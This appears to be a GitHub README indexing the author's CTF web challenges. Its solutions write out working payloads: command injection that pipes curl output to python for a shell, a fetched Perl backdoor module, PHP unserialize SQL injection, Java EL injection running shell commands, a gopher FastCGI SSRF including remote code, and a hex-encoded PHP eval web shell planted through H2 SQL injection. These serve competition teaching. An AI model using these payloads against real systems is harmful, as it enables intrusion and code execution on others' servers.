Collection of CTF Web challenges I made
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README.md

My CTF Web Challenges

Hi, I am Orange. This is the repo of CTF challenges I made. It contains challenge's source code, writeup and some idea explanation.

I am a CTFer and Bug Bounty Hunter, loving web hacking and penetration testing. So you will see these challs are all about web. If you have any question about these challs, you can find me in following ways


Hope you like it :)

P.s. BTW, the series of Babyfirst are my favorite in all of these challenges. There are open questions to all and there are lots of creative solutions. If you don't have time to see all, please look the them at least!


Table of Content


BabyFirst Revenge

Difficulty: ★☆
Sovled: 95 / 1541
Tag: WhiteBox, PHP, Command Injection

Idea

  • Command Injection, but only in 5 bytes

Source Code

Solution

# generate `ls -t>g` to file "_"
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_

# generate `curl orange.tw|python` to file "g"
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _

# got shell
http://host/?cmd=sh g

You can check the exploit.py for the detail! And there are also lots of creative solutions, you can check the write ups below.

Write Ups

BabyFirst Revenge v2

Difficulty: ★★★★
Sovled: 8 / 1541
Tag: WhiteBox, PHP, Command Injection

Idea

  • Command Injection, but only in 4 bytes

Source Code

Solution

  1. generate g> ht- sl to file v
  2. reverse file v to file x
  3. generate curl orange.tw|python;
  4. execute x, ls -th >g
  5. execute g

You can check exploit.py for the detail!

Write Ups

SSRFme?

Difficulty: ★★☆
Sovled: 20 / 1541
Tag: WhiteBox, Perl, PATH Pollution

Idea

  • CVE-2016-1238 (But the latest version of Ubuntu 17.04 in AWS is still vulnerable)
  • Perl lookup current directory in module importing
  • Perl module URI/lib/URI.pm#L136 will eval if there is a unknown scheme

Source Code

$ sudo apt install libwww-perl

Solution

# write evil URI module to current directory
$ curl http://host/?filename=URI/orange.pm&url=http://orange.tw/w/backdoor.pl

# eval evil module `orange`
$ curl http://host/?filename=xxx&url=orange://orange.tw

Write Ups

SQL so Hard

Difficulty: ★★★
Sovled: 10 / 1541
Tag: WhiteBox, MySQL, PostgreSQL, SQL Injection, Code Injection

Idea

Source Code

Solution

Write Ups

Baby^H Master PHP 2017

Difficulty: ★★★★☆
Sovled: 0 / 1541
Tag: WhiteBox, PHP, Serialization, Apache Prefock

Idea

  • PHP do the de-serialization on PHAR parsing
  • PHP assigned a predictable function name \x00lambda_%d to an anonymous function
  • Break shared VARIABLE state in Apache Pre-fork mode

Source Code

Solution

# get a cookie
$ curl http://host/ --cookie-jar cookie

# download .phar file from http://orange.tw/avatar.gif
$ curl -b cookie 'http://host/?m=upload&url=http://orange.tw/'

# force apache to fork new process
$ python fork.py &

# get flag
$ curl -b cookie "http://host/?m=upload&url=phar:///var/www/data/$MD5_IP/&lucky=%00lambda_1"

Write Ups

papapa

Difficulty:
Sovled: 71 / 1024
Tag: BlackBox, SSL, Pentesting

Idea

  • Leak the internal hostname from SSL certificate

Source Code

Solution

$ openssl s_client -showcerts -connect 1.2.3.4:443 < /dev/null | openssl x509 -text | grep -A 1 "Subject Alternativer Name"
...
depth=0 C = TW, ST = Some-State, O = Internet Widgits Pty Ltd, CN = very-secret-area-for-ctf.orange.tw, emailAddress = orange@chroot.org
...
# get flag
$ curl -k  -H "host: very-secret-area-for-ctf.orange.tw" https://1.2.3.4/

Write Ups

Leaking

Difficulty: ★★
Sovled: 43 / 1024
Tag: WhiteBox, JavaScript, NodeJS

Idea

Source Code

Solution

$ while true; do curl 'http://1.2.3.4/?data=Buffer(1e4)' | grep -a hitcon; done;

Write Ups

BabyTrick

Difficulty: ★★★
Sovled: 24 / 1024
Tag: WhiteBox, PHP, MySQL, SQL Injection, Unserialize

Idea

Source Code

Solution

# get password
curl http://1.2.3.4/
?data=O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:1:{i:0;s:39:"'union%20select%201,2,password%20from%20users%23";}}

# get flag
curl http://1.2.3.4/
?data=O:6:"HITCON":2:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:7:"orÄnge";i:1;s:13:"babytrick1234";}}

Write Ups

Angry Boy

Difficulty: ★★☆
Sovled: 43 / 1024
Tag: GrayBox, Java

Idea

Source Code

Solution

Write Ups

Angry Seam

Difficulty: ★★★★
Sovled: 4 / 1024
Tag: GrayBox, Java, Seam Framework, CSS RPO, EL Injection, Java Deserialization

Idea

Source Code

Solution


P.s. I made this challenge because once when I try to review the code of Seam Framework, I found some 0-days and I think it must have more. So I throw out the brick to attract a jade. And the result is more than I expected :P


Intended solution

  • Register an account

    username: `AAAAAA`    
    password: `AAAAAA`  
    realname: `{/*';*/}%0a@import'http://orange.tw/?`  
    
  • Report URL

    http://1.2.3.4:8080/angryseam/profile.seam?actionOutcom>e=/profile.seam?username%3dAAAAAA
    

Unintended solution

  • Register an account
  • Update description to
  • Login and access
/?x=#{expressions.instance().createValueExpression(request.getHeader('cmd')).getValue()}
GET /angryseam/template.seam?actionMethod=template.xhtml:util.escape(sessionScope['user'].getDescription()) HTTP/1.1
host: 1.2.3.4
cmd: #{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),request.getHeader('ccc'))}
ccc: ls -alh
...

Unintended solution

  • CVE-2013-2165 Java deserialization vulnerability

Unintended solution

  • SESSION manipulation... seam SUCKS

Write Ups

Babyfirst

Sovled: 33 / 969
Difficulty: ★★
Tag: WhiteBox, PHP, Command Injection

Idea

  • Use NewLine to bypass regular expression check
  • Command injection only with alphanumeric characters

Source Code

<?php
    highlight_file(__FILE__);

    $dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
    if ( !file_exists($dir) )
        mkdir($dir);
    chdir($dir);

    $args = $_GET['args'];
    for ( $i=0; $i<count($args); $i++ ){
        if ( !preg_match('/^\w+$/', $args[$i]) )
            exit();
    }

    exec("/bin/orange " . implode(" ", $args));
?>

Solution

http://localhost/
?args[0]=x%0a
&args[1]=mkdir
&args[2]=orange%0a
&args[3]=cd
&args[4]=orange%0a
&args[5]=wget
&args[6]=846465263%0a

http://localhost/
?args[0]=x%0a
&args[1]=tar
&args[2]=cvf
&args[3]=aa
&args[4]=orange%0a
&args[5]=php
&args[6]=aa

And there are also lots of creative solutions, you can check the write ups below.

Write Ups

nanana

Difficulty: ★★★
Sovled: 18 / 969
Tag: GrayBox, C, PWN

Idea

  • Pwn without library
  • Format String without output
  • Bypass Stack Guard by using overflow ARGV[1]

Source Code

Solution

Write Ups

Giraffe's Coffee

Difficulty: ★★★☆
Sovled: 16 / 969
Tag: WhiteBox, PHP

Idea

  • Break PHP PRNG
  • Break shared PRNG STATE in Apache Prefork mode

Source Code

Solution

TBD

Write Ups

lalala

Difficulty: ★★★☆
Sovled: 2 / 969
Tag: BlackBox, PHP, SSRF

Idea

  • Bypass SSRF restrictiton with 302 redirect
  • Exploit FASTCGI protocol by using GOPHER

Source Code

Solution

<?php
header( "Location: gopher://127.0.0.1:9000/x%01%01Zh%00%08%00%00%00%01%00%00%00%00%00%00%01%04Zh%00%86%00%00%0E%03REQUEST_METHODGET%0F%0ASCRIPT_FILENAME/www/a.php%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%09%26PHP_VALUEauto_prepend_file%20%3D%20http%3A//orange.tw/x%01%04Zh%00%00%00%00%01%05Zh%00%00%00%00" );

Write Ups

Use-After-FLEE

Solved: 1 / 969
Difficulty: ★★★★☆
Tag: WhiteBox, PHP, UAF, PWN

Idea

Source Code

Solution

TBD

Write Ups

PUSHIN CAT

Solved: 8 / 1020
Difficulty: ★★
Platform: BlackBox, PHP, H2, SQL Injection

Idea

  • SQL Injection on H2 Database
  • Execute Code by using H2 SQL Injection

Source Code

Solution

TBD

Write Ups

PY4H4SHER

Solved: 30 / 1020
Difficulty: ★★☆
Tag: WhiteBox, Python, Collision, HPP

Idea

Source Code

Solution

TBD  

Write Ups

LEENODE

Solved: 2 / 1020
Difficulty: ★★★
Tag: BlackBox, ColdFusion, Apache

Idea

  • Multilayered architecture vulnerability
  • Double Encoding

Source Code

Solution

# get password
$ curl http://1.2.3.4/admin%252f%252ehtpasswd%2500.cfm

# get flag
$ curl http://1.2.3.4/admin/thefl4g.txt 

Write Ups

BlackBox

Solved: 0 / 12
Difficulty: ★★★★
Tag: GrayBox, PHP, JAVA, mod_jk, H2, SQL Injection, WAF

Idea

  • Multilayered architecture vulnerability
  • Default and up to date mod_jk leads to directory travesal
  • Bypass WAF by incorrect usage of BASE64 and URLENCODE
  • SQL Injection on H2 Database
  • Execute Code by using H2 SQL Injection

Source Code

Solution

  • Get source code

    http://1.2.3.4/login/..;/
    
  • Review code and find a way to bypass WAF

    $ curl "http://1.2.3.4/news/?id=1~~~~' and 1=2 union select null,null,version(),null--"
    $ curl "http://1.2.3.4/news/?id=1~~~~' and 1=2 union select null,null,file_read('/etc/apache2/sites-enabled/000-default.conf'),null--"
  • Write shell

    $ curl "http://1.2.3.4/news/?id=1~~~~' and 1=2 union select null,null,file_write('3c3f706870206576616c28245f504f53545b6363635d293b3f3e', '/www/write_shell_here_=P/.a.php'),null--"
    $ curl "http://1.2.3.4/write_shell_here_=P/.a.php" -d 'phpinfo();'

Write Ups

TBD

SQLPWN

Solved: 0 / ??
Difficulty: ★★★
Tag: WhiteBox, PHP, SQL Injection, LFI, Race Condition

Idea

  • One-byte off SQL Injection
  • Race Condition
  • Local file inclusion with PHP session

Source Code

Solution

  • Run exploit.py to win race condition

  • Login and SQL Injection

    $ curl http://1.2.3.4/sqlpwn.php -d 'title=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\&note=, concat(0x3a3a3a3a3a3a,(select pass from users where name=0x6f72616e6765)))#'
  • Local file inclusion with session

    $ curl http://1.2.3.4/sqlpwn.php?mode=admin&boom=../../../../../../var/lib/php5/sess_243220

Write Ups